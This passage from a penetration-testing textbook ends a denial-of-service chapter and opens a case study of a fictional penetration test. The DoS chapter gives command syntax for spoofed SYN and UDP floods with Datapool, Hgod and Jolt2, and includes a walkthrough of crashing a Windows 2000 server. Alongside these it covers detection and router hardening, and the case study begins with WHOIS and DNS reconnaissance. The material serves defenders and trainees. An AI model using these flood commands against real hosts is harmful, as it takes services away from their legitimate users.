communication with itself in an infinite loop. \nAlthough this is an old attack (first reportedly discovered in 1997), both Windows XP with \nservice pack 2 and Windows Server 2003 are vulnerable to this attack.\nYou can use the HPing tool to craft packets with the same spoofed source and destination \naddress.\n" }, { "page_number": 513, "text": "486\nChapter 15: Denial-of-Service Attacks\nSYN Flood\nA SYN flood is one of the oldest and yet still most effective DoS attacks. As a review of the \nthree-way handshake, TCP communication begins with a SYN, a SYN-ACK response, and \nthen an ACK response. When the handshake is complete, traffic is sent between two hosts, \nas shown previously in Figure 15-1. \nWith a SYN flood attack, these rules are violated. Instead of the normal three-way \nhandshake, an attacker sends a packet from a spoofed address with the SYN flag set but \ndoes not respond when the target sends a SYN-ACK response. A host has a limited number \nof half-open (embryonic) sessions that it can maintain at any given time. After those \nsessions are used up, no more communication can take place until the half-open sessions \nare cleared out. This means that no users can communicate with the host while the attack is \nactive. SYN packets are being sent so rapidly that even when a half-open session is cleared \nout, another SYN packet is sent to fill up the queue again. \nSYN floods are still successful today for three reasons:\n•\nSYN packets are part of normal, everyday traffic, so it is difficult for devices to filter \nthis type of attack.\n•\nSYN packets do not require a lot of bandwidth to launch an attack because they are \nrelatively small.\n•\nSYN packets can be spoofed because no response needs to be given back to the target. \nAs a result, you can choose random IP addresses to launch the attack, making filtering \ndifficult for security administrators.\nTools for Executing DoS Attacks\nHundreds of tools are available to execute DoS attacks. The sections that follow examine \nthree of the most popular tools:\n•\nDatapool\n•\nHgod\n•\nJolt2\nDatapool\nSpendor Datapool (http://www.packetstormsecurity.org) is a DoS tool that runs on Linux. \nAt press time, Datapool 3 supported more than 100 different DoS attacks. Datapool \nrequires that Fyodor’s NMap (http://www.insecure.org) utility be installed in either /usr/\nlocal/bin or /usr/bin. Install NMap first, and either place it into these directories or have a \nsymbolic link pointing to it. \n" }, { "page_number": 514, "text": "Tools for Executing DoS Attacks 487\nDatapool is intelligent enough to keep a database of the most successful attacks so that you \ncan try them first. It uses the following key files:\n•\ncipgen.sh—Script for generating the IP addresses in a subnet.\n•\ndatamass.sh—Script for attacking multiple hosts.\n•\ndatapool.sh—Script for attacking a single host.\n•\ndatapool.fc—File that holds information on various DoS attacks. Look in this file to \nfind the keywords to reference attacks when you are executing the program.\n•\ndatapool.db—Database that records the addresses of all IP addresses that were \nsusceptible to DoS attacks.\nExecuting the datapool.sh command gives you the output illustrated in Figure 15-6.\nFigure 15-6\ndatapool.sh Output\nAt a minimum, you need to specify the destination target. The following is typical attack \nsyntax for attacking a host at 192.168.10.10 with a spoofed source address of 192.168.10.9:\n#./datapool.sh –d 192.168.10.10 –p 1-1024 –v results.log –l T1 –I 192.168.10.9 –c –\nt 100\nThe –v switch records the results into a log file. The –l switch specifies the speed which, in \nthis example, is the T1 speed. You should adjust this according to your bandwidth. The –c \n" }, { "page_number": 515, "text": "488\nChapter 15: Denial-of-Service Attacks\nswitch tells the program to continue its attempts until it successfully halts your target. \nFinally, the –t switch tells the program how many simultaneous sessions to start. The more \nsessions you start, the greater your chances of success will be. However, starting many \nsessions is processor and memory intensive. \nJolt2\nJolt2 is available on both Linux and Windows operating systems. It is an easy program to \nuse because it does not provide many options. (See Figure 15-7.) Like many other DoS \nutilities, it allows you to spoof the source. \nFigure 15-7\nJolt2\nAt its most basic use, type in the target IP address and the spoofed source address to launch \na DoS attack, as demonstrated in Figure 15-8.\nFigure 15-8\nJolt2 Syntax\n" }, { "page_number": 516, "text": "Detecting DoS Attacks 489\nHgod\nHgod is another tool that runs on Windows XP. Like Jolt2 and Datapool, it allows you to \nspoof your source IP address. With it, you can specify both protocol (TCP/UDP/ICMP/\nIGMP) and port number (for UDP). Although Hgod supports other attacks, the default DoS \nattack is TCP SYN flooding. Figure 15-9 shows the available options for Hgod. \nFigure 15-9\nHgod\nTo launch a SYN flood attack against 192.168.10.10 on port 80 with a spoofed address of \n192.168.10.9, type the following:\nhgod 192.168.10.10 80 –s 192.168.10.9\nOther Tools\nThere are many more DoS utilities beyond those mentioned in this chapter. You can find \nmany excellent utilities and scripts at http://www.antiserver.it/Denial-Of-Service/\nindex.html. \nDetecting DoS Attacks\nThe detection of DoS attacks is often straightforward, but at other times, these attacks are \ndifficult to identify initially. The telltale symptoms are these: \n•\nHigh network activity\n•\nHigh CPU activity\n•\nNo responses from computer\n•\nComputers crashing at random times\n" }, { "page_number": 517, "text": "490\nChapter 15: Denial-of-Service Attacks\nAs you saw earlier, DoS attacks are essentially trying to tie up services in an effort to \nprevent legitimate user access to whatever the desired resources are. To detect these attacks, \nyou can employ a range of devices, such as these: \n•\nFirewalls\n•\nHost-based IDS \n•\nSignature-based network IDS\n•\nNetwork anomaly detectors\nAppliance Firewalls\nAppliance firewalls are typically configured to provide basic signature IDS features that can \nassist in defending against simple DoS or DDoS attacks. The Cisco PIX Firewall helps to \ndefend against TCP SYN flood attacks with a feature called Flood Defender. Flood \nDefender works by limiting the amount of unanswered SYN (embryonic) connections to a \nspecific server. When the limit is reached, all other connections are blindly dropped to try \nto protect the internal servers from a TCP SYN attack. The PIX supports this feature in a \nvariable parameter called em_limit located within the nat and static commands. The \nfollowing example displays the PIX syntax and location of the embryonic limit:\nnat [(if_name)] nat_id local_ip [netmask [max_conns [em_limit]]] [norandomseq]\nstatic [(internal_if_name, external_if_name)] global_ip local_ip [netmask \nnetwork_mask][max_conns [em_limit]] [norandomseq]\nOther than the em_limit parameter, the basic PIX Firewall can protect your network only \nfrom unrequested packets, although this is useful if all incoming ports are shut off.\nHost-Based IDS\nHost-based IDS and host-based firewalls can aid in detecting DoS attempts by monitoring \nand blocking unrequested packets. However, implementation of hundreds of host-based \nIDS devices, although desirable, can be impractical. The amount of time it takes to install, \nconfigure, and constantly monitor these devices can be beyond the capabilities of a small \nIT shop. At a minimum, it is recommended that any servers located within the DMZ be \nconfigured with some form of software-based firewall to assist in preventing DoS attempts \nor other attacks made on a server.\nSignature-Based Network IDS\nBy using signature-based network IDS devices, traffic on the network can be analyzed and \nreviewed for possible DoS-type attacks. These are common tools that monitor known DoS \nattacks and can be particularly effective in alarming when such an attack takes place. The \nCisco IDS 4200 series sensor contains several types of DoS signatures out of the box. For \n" }, { "page_number": 518, "text": "Detecting DoS Attacks 491\nexample, using the tool Hgod, send a TCP SYN attack to a host and, monitoring the \nnetwork with the IDS, you can see that it starts to trigger an alarm signature 3050. (See \nFigure 15-10.)\nFigure 15-10\nTCP SYN Attack Detected\nAs a further example, using a packet builder, you can send ICMP Smurf packets to a \ndirected network broadcast destination. The IDS picks up two signatures, ICMP Flood and \nICMP Smurf Attack, as shown in Figure 15-11.\nFigure 15-11\nICMP Flood and Smurf Attacks\nNext, you can use a packet builder to manually create a packet containing the same source \nand destination IP and port numbers, thus creating a LAND attack. The IDS picks up this \npacket right away with signature number 1102 labeled “Impossible IP Packet.” In the \ndescription of the signature, it mentions that this packet is impossible to create and is known \nas a LAND attack. Figure 15-12 displays the IDS Event Viewer alarm triggered.\n" }, { "page_number": 519, "text": "492\nChapter 15: Denial-of-Service Attacks\nFigure 15-12\nLAND Attack\nThe next example shows the detection of some famous DDoS tools on the network: \nStacheldraht, Tribe Flood Network, and Trinoo. These DDoS tools tend to be the ones \nresponsible for taking down several large websites. Figure 15-13 displays the IDS sensor \ndetecting communication between a handler and a DDoS client. \nFigure 15-13\nDDoS Tools Detected\nUsing a tool called DDoSPing from Foundstone, you can scan a network for DDoS client \nsoftware (zombies) listening on the common ports waiting to be instructed to attack. Figure \n15-14 displays a picture of the DDoS software detection tool as it scans a network \nattempting to detect DDoS tools that are installed on hosts.\n" }, { "page_number": 520, "text": "Preventing DoS Attacks 493\nFigure 15-14\nDDoSPing Scanning for DDoS Clients\nNetwork Anomaly Detectors\nAlthough signature-based network IDS systems can be used against common DoS attacks, \nthey tend to be ineffective against new day zero-type attacks. This is where network \nanomaly detectors come in. Network anomaly detectors are designed to watch for \nuncommon network traffic when compared to a baseline. If traffic is found to be out of \ntolerance, an alarm is raised and possible corrective action against the traffic is triggered. \nOne such detector is the Cisco Traffic Anomaly Detector XT appliance, which is designed \nto monitor network traffic patterns for symptoms of DDoS attacks. For example, if a high \nrate of UDP requests is coming from a single host, this might trigger an alarm. Although \nthis in itself is useful, the appliance can also be coupled with a second appliance called the \nCisco Guard XT to help thwart the DDoS attack. After an attack is detected, all traffic is \nredirected to the Guard appliance. The Cisco Guard XT attempts to filter out all DDoS \ntraffic while allowing standard traffic to pass to the original server requested. Network \nanomaly detectors are costly and complicated to install; however, without such devices, \ndetecting unknown DDoS attacks would be considerably more difficult.\nPreventing DoS Attacks\nPrevention really is the key to protection against DoS attacks. If you can minimize your \nattack surface, you significantly reduce your chance of being affected by DoS. However, \nyou cannot prevent all attacks. All you can realistically do is harden your security and hope \n" }, { "page_number": 521, "text": "494\nChapter 15: Denial-of-Service Attacks\nfor the best. A basic list of tasks that network administrators should perform as a matter of \ncourse to mitigate vulnerability to attack is as follows:\n•\nApply service packs and host fixes.\n•\nRun only necessary services.\n•\nInstall firewalls.\n•\nInstall IDS systems. \n•\nInstall antivirus software.\n•\nDisable ICMP across routers and firewalls.\nBy installing service packs, you can minimize your chances of being affected by some \napplication or protocol attack. A case in point is Microsoft, which puts out service packs \nand hot fixes on a continuous basis to address security “holes” in its software. \nHardening\nHardening of network devices and applications can lessen your chances of being a victim. \nYou can break down this task into two main sections:\n•\nNetwork hardening \n•\nApplication hardening\nNetwork Hardening\nNetwork devices such as firewalls can greatly assist in preventing unwanted packets from \nthe outside world from entering your network and should, without a doubt, be installed. By \ndefault, firewalls come preconfigured with security in mind, but you can gain further \nprotection by staying up to date with current and ever-changing hardening techniques.\nAlthough routers typically do a fine job of passing data around your network (which, of \ncourse, is their purpose), they can unwittingly be assistants for DoS and especially DDoS-\ntype attacks if you do not harden them properly. As a start, you should lock down your \nrouters by applying access control lists (ACLs) to the external interface to help prevent IP \nspoofing. You can accomplish this using ACLs that prevent private IP addresses or loopback \naddresses from passing in and out of your router’s interface on the Internet or ISP side. \nExample 15-2 demonstrates just such an access list.\nExample 15-2\nPreventing IP Spoofing with ACLs \naccess-list 100 deny ip 0.0.0.0 0.255.255.255 any\naccess-list 100 deny ip 10.0.0.0 0.255.255.255 any\naccess-list 100 deny ip 127.0.0.0 0.255.255.255 any\naccess-list 100 deny ip 169.254.0.0 0.0.255.255 any\naccess-list 100 deny ip 172.16.0.0 0.15.255.255 any\naccess-list 100 deny ip 192.0.2.0 0.0.0.255 any\n" }, { "page_number": 522, "text": "Preventing DoS Attacks 495\nYou should also configure your router to block LAND attacks. LAND attacks occur when \na ping is sent out that has the same spoofed source and destination address. This type of \nattack is commonly performed against gateway devices such as routers, so take cautionary \nmeasures to ensure that your router is not susceptible to this kind of attack. If the Ethernet \naddress of your router is 10.0.0.1, your ACL would look like Example 15-3.\nNOTE\nFor more detail, see http://www.sans.org/dosstep/cisco_spoof.php and “Network Ingress \nFiltering: Defeating Denial of Service Attacks Which Employ IP Source Address Spoofing” \nat http://www.rfc-editor.org/rfc/rfc2267.txt.\nNOTE\nCisco IOS Software Release 11.2 and later handle LAND attacks internally, so make sure \nyou always use the latest software. See Cisco.com for more details at http://\nwww.cisco.com/warp/public/770/land-pub.shtml.\nNext, you should disable directed broadcasts from passing across your routers. This helps \nprevent attacks such as Smurfs and Fraggles from passing into your network. In Cisco IOS \nSoftware Release 12.0 and later, this is disabled by default; however, it is always a good \nidea to check your existing system. The command you use to lock down an individual \ninterface on a Cisco router is this:\nno ip directed-broadcast\naccess-list 100 deny ip 192.168.0.0 0.0.255.255 any\naccess-list 100 deny ip 224.0.0.0 15.255.255.255 any\naccess-list 100 deny ip 240.0.0.0 7.255.255.255 any\naccess-list 100 deny ip 248.0.0.0 7.255.255.255 any\naccess-list 100 deny ip 255.255.255.255 0.0.0.0 any\naccess-list 100 permit ip any any\n! Apply on the outbound interface for traffic coming into your network\ninterface serial 0/0\n ip access-group 100 in\nExample 15-3\nUsing an Access List to Block LAND Attacks\naccess-list 101 deny host ip 10.0.0.1 any\naccess-list 101 permit ip any any \n! Apply on your Ethernet interface\ninterface fastethernet 0/0\n ip access-group 101 in\nExample 15-2\nPreventing IP Spoofing with ACLs (Continued)\n" }, { "page_number": 523, "text": "496\nChapter 15: Denial-of-Service Attacks\nIf you do require ICMP on your network but still want to prevent ICMP-based DoS attacks, \nyou should consider shaping your ICMP traffic so that it does not saturate your network. \nFor example, suppose that you want to shape your ICMP traffic so that it does not take more \nthan 128 K. You can accomplish this using the Cisco modular quality of service command-\nline interface (MQC), as demonstrated in Example 15-4.\nFor more detail, see http://www.sans.org/dosstep/cisco_bcast.php. \nYou can also choose to deny ICMP from traveling across your network. ICMP tools such \nas ping and trace route are good network testing tools, but does every IP host need them? \nBy turning off ICMP, you can prevent a lot of network scanning and even DoS-type attacks. \nExample 15-5 demonstrates how to prevent ICMP protocols from passing though a router.\nNot all DoS attacks use ICMP, however. SYN attacks, for example, use TCP. The command \nsequence in Example 15-6 prevents TCP SYN attacks on the 10.0.0.0/8 network.\nApplication Hardening \nApplication hardening covers more than just programs; it also includes operating systems. \nAs a standard, it is recommended that you apply service packs and hot fixes to your \nsystems. Even Cisco IOS is vulnerable to DoS attacks. Cisco, like Microsoft and others, has \nExample 15-4\nShaping ICMP Traffic to Prevent ICMP-Based DoS Attacks\ninterface fastethernet 0/0\n service-policy input ICMP-RATE-LIMIT\nip access-list extended ICMP-ACL\n permit icmp any any \nclass-map match-all ICMP-CLASS\n match access-group name ICMP-ACL\npolicy-map ICMP-RATE-LIMIT\n class ICMP-CLASS\n police cir 128000 bc 1000 be 1000\n conform-action transmit\n exceed-action drop\nExample 15-5\nPreventing ICMP Protocols from Traversing a Router\naccess-list 100 deny icmp any anyaccess-list 100 permit ip any any\n! applied on all interfaces\ninterface fastethernet 0/0\n ip access-group 100 in\ninterface serial 0/0\n ip access-group 100 in\nExample 15-6\nPreventing TCP SYN Attacks on a Given Network\nip tcp intercept mode intercept\nip tcp intercept list 100\naccess-list 100 permit ip any 10.0.0.0 0.255.255.255\n" }, { "page_number": 524, "text": "Case Study\n497\nto continuously update its software when new exploits arise. Microsoft, Apple, and others \nhave implemented automatic update servers and clients within their own products to \nautomate this process to a degree. When a new patch or service pack becomes available, the \nclient can automatically update itself. This helps vendors to secure their software even \nwhen users and customers are too busy to monitor all the update bulletins. \nOther considerations to help prevent DoS are to run as few programs and applications as \npossible, because this narrows what can actually be attacked. Next, employ or enable a local \nhost-based firewall on the clients wherever you can.\nNOTE\nTo harden Windows manually, look at “How to Harden the TCP/IP Stack Against Denial of \nService Attacks in Windows 2000” at http://support.microsoft.com/\ndefault.aspx?scid=kb;en-us;Q315669. \nIntrusion Detection Systems \nAs shown in the previous section, an IDS device can significantly increase the likelihood of \ndetecting DoS and even DDoS attacks on your network and inherently help to prevent them \nfrom succeeding. As an example, if you are alerted that DoS attacks are being sent into the \nnetwork across a router, your IDS did its job in detection, and it is up to you to harden the \nrouter or firewall. When an IDS is configured in an active mode, you can instruct it to help \nstop an attack by sending blocking or shun commands to routers or firewalls. The Cisco \n4200 series sensors are fully capable of integrating with several Cisco products and \naccomplish this exact task, making it a great addition to your prevention plans.\nAnomaly IDS systems can actually be a good prevention system. Although they are \nexpensive and time consuming initially, they can save you the embarrassment and potential \nloss of business that a DDoS attack would cause. They typically work based on the concept \nof a detector product and a guard like Cisco Traffic Anomaly Detector XT appliance and \nCisco Guard XT. When an attack is detected, traffic is forwarded to Cisco Guard XT for \nfurther inspection of the packets. If the packets are clean and are not dropped, they continue \nto the server. For more information, see http://www.cisco.com/en/US/products/ps5888/\nproducts_data_sheet0900aecd800fa55e.html.\nCase Study\nThis case study shows Evil Jimmy attempting to execute a DoS attack against a Windows \n2000 Server. \n" }, { "page_number": 525, "text": "498\nChapter 15: Denial-of-Service Attacks\nJimmy, who has attempted to break into the Windows 2000 server with no success, has \ndecided if he cannot break in, he is going to bring the server down. He gathers a few of his \nfavorite tools:\n•\nHgod\n•\nJolt2\n•\nSMBdie\nHgod and Jolt2 were covered previously in this chapter. SMBdie is another fantastic DoS \ntool that you can use on unpatched Windows 2000 systems. SMBdie causes these systems \nto crash within seconds of execution.\nStep 1\nEvil Jimmy, who is located on the network, has decided to target the \nWindows 2000 server at 192.168.200.21. He first starts with Hgod, \nattempting to send a SYN flood against the server:\nC:>hgod 192.168.200.21 80 –s 1.1.1.1\nStep 2\nJimmy tests the server for responsiveness and notices that it is still up and \nrunning. He decides to add a little more excitement.\nStep 3\nStarting up Jolt2 against the server, Jimmy is able to send a continuous \nstream of UDP packets to port 135 in a continued effort to bring down \nthe target:\nC:>jolt2 192.168.200.21 1.1.1.1 –P udp –p 135\nStep 4\nAgain, Jimmy tests the server for responsiveness. He still sees it up and \nrunning. He does notice, however, that network activity has increased \nquite a bit, so that will provide some small DoS.\nStep 5\nNow, hoping for the possibility that the server is unpatched, Jimmy \nbrings out SMBdie (proof of concept tool) and launches toward the \nserver. (See Figure 15-15 for details.)\nFigure 15-15\nSMBdie DoS Tool\n" }, { "page_number": 526, "text": "Summary 499\nStep 6\nNow for one last time, Jimmy checks for server responsiveness. He gets \nnothing back in return. The DoS has been a success. Figure 15-16 \ndisplays the current screen on the Windows 2000 Server that Jimmy was \nattacking.\nFigure 15-16\nWindows 2000 Blue Screen of Death\nAs you can see, Jimmy attempted several tools before achieving a DoS on the target. \nAlthough he could have waited for some time, and Jolt2 or Hgod might eventually have tied \nup the server to a point where it crashed, other tools like SMBdie can bring down unpatched \nsystems in seconds. For this reason, it is imperative that you remain up to date with service \npacks and fixes. Jimmy will always follow the path of least resistance to achieve his goal. \nSummary\nIn this chapter, you learned about the techniques and tools used in DoS attacks. DoS attacks \nare a result of violations of protocol stacks or resource exhaustion. You should take care \nto ensure that packets traversing your network comply with the RFC standards for TCP \n(RFC 793) and other protocols. You should ensure that proper measures are in place to \ndetect when these malformed packets and traffic floods are on your network. With the \nproper steps, you can minimize the threat of these deadly attacks in your environment.\n" }, { "page_number": 527, "text": "With great power comes great responsibility.\n—Uncle Ben, Spiderman \n" }, { "page_number": 528, "text": "C H A P T E R 16\nCase Study: A Methodical \nStep-By-Step Penetration Test\nThis chapter takes you through a brief and basic methodical penetration test of a fictional \ncompany called Little Company Network (LCN). This chapter focuses primarily on the \nactual attack and the recording of information found on LCN, rather than on the formal \ncontractual process that forms a necessary part of every penetration test. To give an example, \nTable 16-1 shows a high-level approach to the entire process from beginning to end.\nTable 16-1\nBasic Steps in a Penetration Test \nStep\nTitle\nDescription\n1\nSigning the Contract\nGetting contracts signed is the most important step needed before \na penetration test takes place. Without it, all actions against a \ncompany could be considered malicious and potentially illegal. \nAll contracts should be signed by authorized personnel for both \ncompanies. \n2\nSetting the Rules of \nEngagement\nSetting these rules helps to establish how much information the \npen testers are given and what approaches are allowed during the \ntest. This also helps to protect the pen testers from project scope \ncreep.\n3\nPlanning the Attack\nThe penetration testing team carries out this step. Its purpose can \ninclude the following: \nGathering your team of personnel\nCollecting tools\nPlanning an attack strategy \n4\nGathering Information\nThis step is sometimes called “foot printing” the victim. It is \nwhere all relevant information about the company is gathered and \nused for later steps in an attempt to gain access.\n5\nScanning (Enumeration) Scanning consists of searching and probing for systems and \nenumerating ports and applications running on them. This can \nalso include enumerating user accounts and shared resources on \ncomputer systems. Note that some testers in the field separate \nscanning and enumeration into separate steps.\ncontinues\n" }, { "page_number": 529, "text": "502\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\n*Not all penetration tests allow tracks to be covered, so testing basically stops at Step 6.\nStep\nTitle\nDescription\n6\nGaining Access\nThis is the most exciting yet typically the most time consuming \nof all the steps. Gaining access might just fall into your lap, but \nmore often it is a lengthy process. Hopefully in some cases, it \nwill result in a failed attempt. This step can contain almost any \napproach to gain access, such as the following:\nAccess via the Internet\nDialup access\nSocial engineering\nWireless access\nDenial of service\nE-mail attacks (spam)\nTrojans\nDumpster diving\n7\nMaintaining Access\n*After the penetration testing team gains access, they might need \nto return to complete more testing. This step includes the \ninstallation of backdoor-style applications to allow an easier \nreturn into the system for further penetration attempts. This also \nsimulates a scenario where backdoors have been maliciously \ninstalled and assesses whether current security measures are \nlikely to detect them. \n8\nCovering Tracks\n*This step allows the penetration testers to attempt to clear all \ntraces of the attack just like a highly skilled hacker would.\n9\nWriting the Report\nThis step allows the team to assemble its findings into a \ndocument. This is the product that is presented to the customer. \nThis step consumes a significant part of the time taken for the \npenetration test as a whole. Sometimes the client retains the only \ncopy of this document, which summarizes the information \ncollected in the previous steps.\n10\nPresenting and Planning \nthe Follow-Up\nAfter the team completes the tests and presents them to the \ncustomer, it should schedule a follow-up test on a recurring basis \nto ensure that the customer does not become vulnerable to future \nexploits and weaknesses that might occur. \nTable 16-1\nBasic Steps in a Penetration Test (Continued)\n" }, { "page_number": 530, "text": "Case Study: LCN Gets Tested 503\nTIP\nFor an excellent document covering a full, methodical approach, see the Open Source \nSecurity Testing Methodology Manual (OSSTMM) at http://www.isecom.org/. \nThe rest of the chapter takes you through a fictitious penetration test of a network from two \nperspectives: \n•\nThe actual attack, which provides the opportunity to take a quick look into the manual \ntools used\n•\nA post mortem and a review of a basic report that was generated\nCase Study: LCN Gets Tested\nLCN has just rolled out its web server application and wants a penetration testing company \ncalled DAWN Security Systems to test it. Here are the rules set by LCN:\n•\nBlack-box testing rules are in effect. (Only the company website name will be given.)\n•\nUse any means necessary to penetrate the internal network except breaking and \nentering or physical access to the building.\n•\nA time limit of 24 hours is given to complete the test.\n•\nThe test will start on Friday night and last until Saturday night so that it will not \ninterfere with normal weekly business activity.\nFollowing are the goals and basic rules:\n•\nAcquire as much knowledge about LCN as possible.\n•\nGain access to the internal network.\n•\nList computers on the private side of the firewall.\n•\nCreate a backdoor for returning access.\n•\nClearing or covering tracks is not authorized.\n•\nRootkit installations are not authorized.\nPlanning the Attack\nDAWN Security Systems commences a plan of attack by collecting a small team consisting \nof the following areas of expertise:\n•\nSocial engineering\n•\nNetworking\n•\nFirewalls \n" }, { "page_number": 531, "text": "504\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\n•\nWireless\n•\nWeb server admin and web page development\n•\nLinux\n•\nWindows domains\n•\nDatabases\n•\nTeam leader\n•\nReport writing\n•\nCoffee brewing\nThe team for this case study consists of the following personnel:\n•\nDaniel—Team leader, networking, Windows, database, web, firewall, and social \nengineering specialist\n•\nAndrew—Linux, networking, firewall, and social engineering specialist \n•\nClare—Windows, database, wireless, and report writing specialist\n•\nHannah—Social engineering, wireless, and official team coffee expert \nThe team kicks off with information gathering and later splits into different directions as \ndirected by the team leader. If wireless devices are detected at the office, location wireless \nexperts head off in search of easy access to the internal network. Social engineers start \ncalling the office numbers posing as new hires or sales personnel in attempts to find out \nmore details about the internals of the company. Coffee brewing personnel keep the blood \nline flowing as they plan to attack the system in the nonstop 24-hour window set by LCN.\nGathering Information\nGathering information usually is quite simple and typically leads right back to feed into the \nPlanning the Attack steps. As information is revealed, the team leader might redirect his \npersonnel accordingly in the most effective manner to acquire the best results in the time \ngiven. \nNow back to LCN. The team heads out to collect as much detail as possible to get started. \nAs mentioned previously, the starting point is the supplied website name, \nwww.littlecompanynetwork.com.\nFollowing are the tools they use:\n•\nhttp://www.centralops.net\n•\nPhone\n•\nYellow pages\n•\nTrace Route\n" }, { "page_number": 532, "text": "Case Study: LCN Gets Tested 505\n•\nWireless websites that publish access points (http://www.nodedb.net)\n•\nwww.terraserver.com\n•\nTeleport Pro\nThe first tool used is http://www.centralops.net. This fantastic website offers a free service \nin Whois lookups that can reveal large amounts of data about the owner of a domain name \nfrom a single website. Figure 16-1 displays the http://www.centralops.net site. \nFigure 16-1 Information Gathering from http://www.centralops.net\nExample 16-1 shows the information that http://www.centralops.net returned about LCN.\nExample 16-1\nHttp://www.centralops.net Information About LCN \nAddress lookup\ncanonical name littlecompanynetwork.com. \naliases \naddresses 172.16.0.2\nDomain Whois record\nQueried whois.internic.net with ”dom littlecompanynetwork.com”...\nWhois Server Version 1.3\nDomain names in the .com and .net domains can now be registered\nwith many different competing registrars. Go to http://www.internic.net\nfor detailed information.\ncontinues\n" }, { "page_number": 533, "text": "506\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\n Domain Name: littlecompanynetwork.com\n Registrar: registerthedot.com\n Whois Server: whois.dotster.com\n Referral URL: http://www.dotster.com\n Name Server: NS2.littlecompanynetwork.com\n Name Server: NS.littlecompanynetwork.com\n Status: REGISTRAR-LOCK\n Updated Date: 23-feb-2005\n Creation Date: 16-feb-1996\n Expiration Date: 17-feb-2010\nRegistrant:\n LCN\n Rout 1 Box 344\n Corvallis, Oregon 97330\n US\n Registrar: Registerthedot.com\n Domain Name: littlecompanynetwork.com\n Created on: 16-FEB-96\n Expires on: 17-FEB-10\n Last Updated on: 23-FEB-05\n Administrative Contact:\n Bates, Joe jbates@littlecompanynetwork.com\n LCN\n Rout 1 Box 344\n Corvallis, Oregon 97330\n US\n 541-555-1212\n 541-555-1212\n Technical Contact:\n Bates, Joe jbates@littlecompanynetwork.com\n LCN\n Rout 1 Box 344\n Corvallis, Oregon 97330\n US\n 541-555-1212\n 541-555-1212\n Domain servers in listed order:\n NS.littlecompanynetwork.com \n NS2.littlecompanynetwork.com \nEnd of Whois Information\nNetwork Whois record\nQueried whois.arin.net with ”172.16.0.2”...\nExample 16-1\nHttp://www.centralops.net Information About LCN (Continued)\n" }, { "page_number": 534, "text": "Case Study: LCN Gets Tested 507\nOrgName: littlecompanynetwork.com \nOrgID: RSPC\nAddress: 12 W. Fish.\nAddress: \nCity: Corvallis\nStateProv: OR\nPostalCode: 97330\nCountry: US\nNetRange: 172.16.0.1 – 172.16.0.7 \nCIDR: 172.16.0.1/29 \nNetName: RSPC-NET-4\nNetHandle: NET-172-16-0-0-1\nParent: NET-172-16-0-0-0\nNetType: Direct Allocation\nNameServer: NS.littlecompanynetwork.com\nNameServer: NS2.littlecompanynetwork.com\nComment: \nRegDate: 2003-01-24\nUpdated: 2004-04-28\nOrgAbuseHandle: ABUSE45-ARIN\nOrgAbuseName: Abuse Desk \nOrgAbusePhone: +1-541-555-1212\nOrgAbuseEmail: abuse@littlecompanynetwork.com\nOrgTechHandle: IPADM17-ARIN\nOrgTechName: IPADMIN \nOrgTechPhone: +1-541-555-1212\nOrgTechEmail: ipadmin@littlecompanynetwork.com\nOrgTechHandle: ZR9-ARIN\nOrgTechName: LCN, com \nOrgTechPhone: +1-541-555-1212\nOrgTechEmail: hostmaster@littlecompanynetwork.com\n# ARIN WHOIS database, last updated 2005-05-22 19:10\n# Enter ? for additional hints on searching ARIN’s WHOIS database.\nDNS records\nDNS query for 1.0.0.10.in-addr.arpa returned an error from the server: NameError\nname class type data time to live \n littlecompanynetwork.com IN MX preference: 10 \n exchange: littlecompanynetwork.com.inbound10.mxlogic.net 86400s (1.00:00:00) \n littlecompanynetwork.com IN MX preference: 30 exchange: \nlittlecompanynetwork.com.inbound30.mxlogic.net \n 86400s (1.00:00:00) \n littlecompanynetwork.com IN MX preference: 20 \n exchange: littlecompanynetwork.com.inbound20.mxlogic.net \n 86400s (1.00:00:00) \n littlecompanynetwork.com IN A 172.16.0.2 86400s (1.00:00:00) \nExample 16-1\nHttp://www.centralops.net Information About LCN (Continued)\ncontinues\n" }, { "page_number": 535, "text": "508\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nThis information aids in the collection of names, addresses, phone numbers, and e-mail \naddresses such as jbates@littlecompanynetwork.com. \nHannah starts out by consulting the Corvallis Yellow Pages and other local directories about \nthe company and verifying that the address is up to date. Next, she starts into search engine \nresearch and newsgroups about LCN and puts in a call to LCN to fill in the following \ninformation:\n•\nGeneral company information\n•\nBusiness hours\n•\nAddresses\n•\nPhone numbers\n•\nFax numbers\n•\nAll other websites that have links to LCN\n•\nNews stories about LCN\nAndrew starts a trace route of the network to find the location of the physical web server. If \nthe web server is located in Corvallis, it is likely hosted by the company internally, and it is \na viable way of getting into the internal network. If the web server was hosted remotely by \na hosting service, then attacking it to gain access would only result in access to the hosted \nservices company and not the LCN company network. Andrew’s results reveal that the IP \naddress of 172.16.0.2 is located in Corvallis, Oregon.\nClare heads off to find out if LCN has any listed wireless access points (APs) located at the \nCorvallis address by searching the web for marked active APs in the area. Figure 16-2 \ndisplays a map of Corvallis with several APs on it. \nNext, Clare locates the LCN GPS coordinates, maps of the area, and even a satellite photo \nof the building location from the http://www.terraserver.com website. Figure 16-3 displays \nthe satellite photo.\n littlecompanynetwork.com IN NS ns.littlecompanynetwork.com 86400s (1.00:00:00) \n littlecompanynetwork.com IN NS ns2.littlecompanynetwork.com 86400s (1.00:00:00) \n littlecompanynetwork.com IN SOA server: ns.littlecompanynetwork.com \nemail: hostmaster.littlecompanynetwork.com \nserial: 2005042212 \nrefresh: 10800 \nretry: 3600 \nexpire: 604800 \nminimum ttl: 86400 \nExample 16-1\nHttp://www.centralops.net Information About LCN (Continued)\n" }, { "page_number": 536, "text": "Case Study: LCN Gets Tested 509\nFigure 16-2 Registered Wireless AP Map\nFigure 16-3 Satellite Photo of LCN Building\n" }, { "page_number": 537, "text": "510\nChapter 16: Case Study: A Methodical Step-By-Step Penetration Test\nDaniel begins probing the website for information on how it was created and downloads the \nentire website using a program called Teleport Pro before extracting e-mail addresses, fax \nnumbers, and other general information that can unravel what LCN is all about.\nThe team assembles the information as an interim report for reference and uses it to aid the \nnext step. The following summarizes the information found and is also used in the final \nreport:\n•\nGeneral company information\n•\nBusiness hours\n•\nAddresses\n•\nPhone numbers\n•\nFax numbers\n•\nLand maps of the area\n•\nSatellite photos\n•\nActive and registered wireless APs\n•\nNetwork tracing of the company website\n•\nE-mail addresses\n•\nList of company owners \n•\nNewsgroups and other locations where e-mail addresses from LCN have been used\n•\nAll other websites 